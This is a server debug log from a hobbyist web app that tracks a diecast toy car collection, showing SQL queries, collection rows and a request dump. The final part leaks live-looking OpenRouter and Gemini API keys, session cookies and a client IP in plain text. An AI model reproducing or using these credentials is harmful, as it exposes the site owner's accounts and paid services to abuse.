    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:36:23.319Z server-connect:app Executing action step identify
2026-02-03T12:36:23.319Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.319Z server-connect:output identity: 1
2026-02-03T12:36:23.319Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.319Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.320Z server-connect:output restrict: undefined
2026-02-03T12:36:23.320Z server-connect:app Executing action step select
2026-02-03T12:36:23.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:36:23.320Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-03T12:36:23.321Z server-connect:output restrict: undefined
2026-02-03T12:36:23.321Z server-connect:app Executing action step select
2026-02-03T12:36:23.321Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-03T12:36:23.322Z server-connect:output restrict: undefined
2026-02-03T12:36:23.322Z server-connect:app Executing action step paged
2026-02-03T12:36:23.322Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T12:36:23.324Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-02-03T12:36:23.324Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-02-03T12:36:23.326Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-03T12:36:23.327Z server-connect:app Executing action step identify
2026-02-03T12:36:23.327Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:23.328Z server-connect:output identity: 1
2026-02-03T12:36:23.328Z server-connect:app Executing action step restrict
2026-02-03T12:36:23.328Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:36:23.328Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T12:36:23.329Z server-connect:output restrict: undefined
2026-02-03T12:36:23.329Z server-connect:app Executing action step select
2026-02-03T12:36:23.329Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:36:23.330Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-03T12:36:23.330Z server-connect:app Executing action step select
2026-02-03T12:36:23.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:36:23.331Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-03T12:36:23.331Z server-connect:app Executing action step select
2026-02-03T12:36:23.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-03T12:36:23.332Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T12:36:24.097Z server-connect:router Serving templateView /workout
2026-02-03T12:36:24.098Z server-connect:app Executing action step identify
2026-02-03T12:36:24.098Z server-connect:app options: { provider: 'security' }
2026-02-03T12:36:24.098Z server-connect:output identity: 1
2026-02-03T12:36:24.098Z server-connect:app Executing action step restrict
2026-02-03T12:36:24.098Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T12:36:24.098Z server-connect:output restrict: undefined
2026-02-03T12:36:24.098Z server-connect:router Render template workout
2026-02-03T12:36:24.099Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
